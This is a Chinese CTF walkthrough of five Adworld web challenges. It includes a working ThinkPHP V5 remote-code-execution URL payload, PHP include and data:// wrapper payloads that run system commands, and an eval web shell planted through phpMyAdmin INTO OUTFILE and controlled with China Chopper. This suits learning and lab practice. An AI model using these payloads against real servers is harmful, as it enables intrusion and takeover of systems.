攻防世界:Web高手进阶区
攻防世界:Web高手进阶区
文章目录
- 1、aNNaNNaNNaN-Batman
- 2、baby_web
- 3、Training-WWW-Robots
- 4、php_rce
- 5、Web_php_include
1、aNNaNNaNNaN-Batman
题目:
下载下来得到附件,解压。
用txt打开
发现是一个JavaScript脚本。
看着有些乱码,试看看弹窗内容,把末尾的eval改成alert,然后后缀改为html。
双击浏览器打开,就能看到弹出内容。
这回看到是正经的代码了,整理得到如下代码。
function $(){
var e=document.getElementByld("c").value;
if(e.length == 16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null){
var t=["fl","s_a","i","e}"];
var n=["a","_h01","n"];
var r=["g{","e"," _0"];
var i=["it"," ","n"];
var s= [t,n,r,i];
for(var o=0;o<13;+ + o){
document.write(s[o%4][0]);
s[o%4l].splicel(0,1)
}
}
}
document.write(" <input id="c" > <button onclick= $0> Ok</button> ");
delete_
看代码段意思,是要输入些什么,果断原文件改后缀为html,浏览器打开看看有什么输入框。
看来要输入些啥就可以得到flag了。
if(e.length == 16)
if(e.match(/^be0f23/)!=null)
if(e.match(/233ac/)!=null)
if(e.match(/e98aa$/)!=null)
if(e.match(/c7be9/)!=null)
要满足这一串条件:
以be0f23开头,以e98aa结尾,把字符串抠出来拼接,得:
be0f23233acc7be9e98aa
还有个要求长度要等于16,那把重复的字符干掉,得到:
be0f233ac7be98aa
然后把这段字符输入到输入框里:
点OK就能得到flag:flag{it’s_a_h0le_in_0ne}
2、baby_web
初始页面不就是index.php吗?
访问index.php,又会自动跳转回到1.php
那就访问index.php,抓包看看能抓到什么。
没想到真有flag回来。
flag{very_baby_web}
3、Training-WWW-Robots
题目说了是robots相关,那么肯定是访问:robots.txt先。
然后大概率f10g.php是目标了,访问看看。
额呵呵,得到flag:
cyberpeace{d14be4089d1687ada500336365cc99db}
4、php_rce
打开题目,得到页面
明显是ThinkPHP V5漏洞利用,百度ThinkPHP V5漏洞 payload,得到:
http://xxx/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=whoami
使用payload访问得到:
然后使用ls一层层目录往上寻找flag文件:
最终得到:
http://111.200.241.244:54258/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=ls%20…/…/…/…/
cat 查看flag文件,得到flag
http://111.200.241.244:54258/index.php?s=index/think\\app/invokefunction&function=call\_user\_func\_array&vars\[0\]=system&vars\[1\]\[\]=cat%20…/…/…/…/flag
flag{thinkphp5_rce}
5、Web_php_include
从代码可以看到,做了php://审计
由于strstr()这个函数是区分大小写的所以我们可以转换成大小写用PHP://input Post传输恶意代码
开启Brup Suite
顺利拿到flag:
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
还可以使用data://伪协议来解题。
格式一般都是这样:
?xxx=data://text/plain;base64
<?php system(“ls”);?>
base64加密后得到:
PD9waHAgc3lzdGVtKCJscyIpOz8+Cg==
拿去跑,发现不好使,因为有个+号,浏览器没给URL编码,不认,所以给+号URL编码一下。
得到: PD9waHAgc3lzdGVtKCJscyIpOz8%2BCg==
这回好使了,可以看到有个fl4gisisish3r3.php文件。
cat 一下 fl4gisisish3r3.php 就好了。
<?php system(“cat fl4gisisish3r3.php”);?>
base64加密,得到:
PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik7Pz4K
拿去跑一下:
发现也不好使?
查看源码,才知道是隐藏在源码里。
ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}
一句话木马,菜刀连接解题:
这是我用的菜刀:https://download.csdn.net/download/xuhc25/19749348
http://111.200.241.244:54815/?page=data:text/plain,%3C?php%20@eval($\_POST\[%271%27\]);?%3E
具体菜刀连接如下图:空白处鼠标右键点击:添加
地址栏输入:
http://111.200.241.244:54815/index.php?page=data:text/plain,%3C?php%20@eval($\_POST\[%271%27\]);?%3E
具体配置如下:
最后点击 添加。
然后点击添加的地址。,更新下缓存
下载flag文件:得到flag
写入一句话木马解题:
通过御剑目录扫描,看到有个数据库后台:
http://111.200.241.244:54815/phpmyadmin/db\_create.php
试着root 空密码登录,竟然可以
写入一句话木马
SELECT “<?php eval(@$_POST[‘1’]); ?>”
INTO OUTFILE ‘/tmp/1.php’
使用菜刀连接:
然后一样是下载flag文件即可。
还没有评论,来说两句吧...